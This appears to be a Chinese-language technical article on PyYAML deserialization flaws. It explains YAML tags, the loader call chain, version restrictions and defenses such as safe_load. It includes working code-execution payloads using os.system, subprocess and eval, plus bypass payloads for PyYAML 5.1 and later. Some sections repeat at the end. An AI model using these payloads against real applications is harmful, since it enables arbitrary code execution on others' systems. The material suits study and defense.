PyYAML反序列化漏洞深入分析与利用<\/h1>

1. YAML基础语法<\/h2>

YAML是一种数据序列化格式，具有以下基本特性：<\/p>

一个.yml<\/code>文件中可以包含多份配置文件，用---<\/code>分隔<\/li>
对大小写敏感<\/li>
支持JSON格式的数据<\/li>
使用空格缩进表示层级关系（不允许使用Tab）<\/li>
!!<\/code>表示强制类型转换<\/li>

支持锚点(&<\/code>)和引用(*<\/code>)<\/li>
<\/ul>
YAML支持三种数据结构：<\/p>

对象：键值对的集合<\/li>
列表：一组按次序排列的值<\/li>
标量(scalars)：原子值（数字、日期等）<\/li>
<\/ol>
2. PyYAML反序列化机制<\/h2>
PyYAML通过特定标签实现Python对象的反序列化：<\/p>
2.1 关键标签<\/h3>

!!python\/object\/apply<\/code>：用于调用函数\/方法<\/li>
!!python\/object\/new<\/code>：用于创建新对象<\/li>
!!python\/name<\/code>：引用Python名称<\/li>
!!python\/tuple<\/code>：创建元组<\/li>
<\/ol>
2.2 核心方法<\/h3>
PyYAML通过以下方法实现反序列化：<\/p>

construct_python_object_apply()<\/code>：处理!!python\/object\/apply<\/code>标签<\/li>
construct_python_object_new()<\/code>：处理!!python\/object\/new<\/code>标签<\/li>
make_python_instance()<\/code>：创建Python实例的核心方法<\/li>
find_python_name()<\/code>：查找并导入Python模块和类<\/li>
<\/ol>
3. 反序列化漏洞原理<\/h2>
3.1 漏洞成因<\/h3>
PyYAML在反序列化时，允许通过YAML标签直接实例化任意Python类并执行其方法，这导致攻击者可以构造恶意YAML数据执行任意代码。<\/p>
3.2 漏洞调用链<\/h3>
get_single_data()
  -> construct_document()
    -> construct_object()
      -> construct_python_object_apply()
        -> make_python_instance()
          -> find_python_name()
<\/code><\/pre>
3.3 漏洞利用POC<\/h3>
# 基本利用方式<\/span>
<\/span><\/span>poc =<\/span> '!!python\/object\/apply:subprocess.check_output [["calc.exe"]]'<\/span>
<\/span><\/span>poc =<\/span> '!!python\/object\/apply:os.popen ["calc.exe"]'<\/span>
<\/span><\/span>poc =<\/span> '!!python\/object\/apply:subprocess.run ["calc.exe"]'<\/span>
<\/span><\/span>poc =<\/span> '!!python\/object\/apply:subprocess.call ["calc.exe"]'<\/span>
<\/span><\/span>poc =<\/span> '!!python\/object\/apply:subprocess.Popen ["calc.exe"]'<\/span>
<\/span><\/span>poc =<\/span> '!!python\/object\/apply:os.system ["calc.exe"]'<\/span>
<\/span><\/span>
<\/span><\/span># 使用new标签<\/span>
<\/span><\/span>poc =<\/span> '!!python\/object\/new:os.system ["calc.exe"]'<\/span>
<\/span><\/span>poc =<\/span> '!!python\/object\/new:subprocess.check_output [["calc.exe"]]'<\/span>
<\/span><\/span><\/code><\/pre>4. PyYAML版本差异<\/h2>
4.1 版本<5.1<\/h3>

默认使用FullLoader<\/code>或UnsafeLoader<\/code><\/li>
允许直接执行危险标签<\/li>
漏洞利用简单直接<\/li>
<\/ul>
4.2 版本≥5.1<\/h3>

默认使用安全加载器<\/li>
增加了安全限制：

make_python_instance<\/code>中检查if not (unsafe or isinstance(cls, type))<\/code><\/li>
只允许加载sys.modules<\/code>中已存在的模块<\/li>
引用的module.name<\/code>必须是类而非函数<\/li>
<\/ul>
<\/li>
<\/ul>
5. 绕过高版本限制的技术<\/h2>
5.1 使用tuple+map组合<\/h3>
yaml.<\/span>load("""
<\/span><\/span><\/span>!!python\/object\/new:tuple
<\/span><\/span><\/span>- !!python\/object\/new:map
<\/span><\/span><\/span>  - !!python\/name:eval
<\/span><\/span><\/span>  - ["__import__('os').system('calc')"]
<\/span><\/span><\/span>"""<\/span>)
<\/span><\/span><\/code><\/pre>原理：<\/p>

使用map<\/code>调用eval<\/code>函数<\/li>
将结果转换为tuple<\/code>实现回显<\/li>
<\/ol>
5.2 利用extend方法<\/h3>
yaml.<\/span>load("""
<\/span><\/span><\/span>!!python\/object\/new:type
<\/span><\/span><\/span>args:
<\/span><\/span><\/span>  - exp
<\/span><\/span><\/span>  - !!python\/tuple []
<\/span><\/span><\/span>  - {"extend": !!python\/name:exec }
<\/span><\/span><\/span>listitems: "__import__('os').system('whoami')"
<\/span><\/span><\/span>"""<\/span>)
<\/span><\/span><\/code><\/pre>5.3 组合利用str和staticmethod<\/h3>
payload =<\/span> """
<\/span><\/span><\/span>- !!python\/object\/new:str
<\/span><\/span><\/span>  args: []
<\/span><\/span><\/span>  state:
<\/span><\/span><\/span>    !!python\/tuple
<\/span><\/span><\/span>    - "__import__('os').system('whoami')"
<\/span><\/span><\/span>    - !!python\/object\/new:staticmethod
<\/span><\/span><\/span>      args: [0]
<\/span><\/span><\/span>      state:
<\/span><\/span><\/span>        update: !!python\/name:exec
<\/span><\/span><\/span>"""<\/span>
<\/span><\/span>yaml.<\/span>load(payload)
<\/span><\/span><\/code><\/pre>6. 防御措施<\/h2>

使用yaml.safe_load()<\/code>替代yaml.load()<\/code><\/li>
升级到最新版PyYAML<\/li>
对输入进行严格过滤<\/li>
使用自定义的SafeLoader限制可用标签<\/li>
<\/ol>
7. 加载器类型对比<\/h2>



加载器<\/th>
安全性<\/th>
功能限制<\/th>
适用场景<\/th>
<\/tr>
<\/thead>


BaseConstructor<\/td>
低<\/td>
基本功能<\/td>
无特殊需求<\/td>
<\/tr>

SafeConstructor<\/td>
高<\/td>
仅安全子集<\/td>
不受信任输入<\/td>
<\/tr>

FullConstructor<\/td>
中<\/td>
已加载模块<\/td>
默认加载器<\/td>
<\/tr>

UnsafeConstructor<\/td>
极低<\/td>
无限制<\/td>
向后兼容<\/td>
<\/tr>
<\/tbody>
<\/table>
8. 技术总结<\/h2>
PyYAML反序列化漏洞的核心在于其灵活的标签系统允许直接实例化和调用Python对象。在低版本中，攻击者可以直接执行系统命令；在高版本中，虽然增加了限制，但通过巧妙的组合利用仍然可能实现代码执行。开发者应当充分了解这些风险，并采取适当的防护措施。<\/p>

加载器<\/th>	安全性<\/th>	功能限制<\/th>	适用场景<\/th> <\/tr> <\/thead>
BaseConstructor<\/td>	低<\/td>	基本功能<\/td>	无特殊需求<\/td> <\/tr>
SafeConstructor<\/td>	高<\/td>	仅安全子集<\/td>	不受信任输入<\/td> <\/tr>
FullConstructor<\/td>	中<\/td>	已加载模块<\/td>	默认加载器<\/td> <\/tr>
UnsafeConstructor<\/td>	极低<\/td>	无限制<\/td>	向后兼容<\/td> <\/tr> <\/tbody> <\/table> 8. 技术总结<\/h2> PyYAML反序列化漏洞的核心在于其灵活的标签系统允许直接实例化和调用Python对象。在低版本中，攻击者可以直接执行系统命令；在高版本中，虽然增加了限制，但通过巧妙的组合利用仍然可能实现代码执行。开发者应当充分了解这些风险，并采取适当的防护措施。<\/p>

PyYAML反序列化漏洞深入分析与利用<\/h1>

2. PyYAML反序列化机制<\/h2> PyYAML通过特定标签实现Python对象的反序列化：<\/p>

3. 反序列化漏洞原理<\/h2>

3.1 漏洞成因<\/h3> PyYAML在反序列化时，允许通过YAML标签直接实例化任意Python类并执行其方法，这导致攻击者可以构造恶意YAML数据执行任意代码。<\/p>

4. PyYAML版本差异<\/h2>

5. 绕过高版本限制的技术<\/h2>

2. PyYAML反序列化机制<\/h2>
PyYAML通过特定标签实现Python对象的反序列化：<\/p>

3.1 漏洞成因<\/h3>
PyYAML在反序列化时，允许通过YAML标签直接实例化任意Python类并执行其方法，这导致攻击者可以构造恶意YAML数据执行任意代码。<\/p>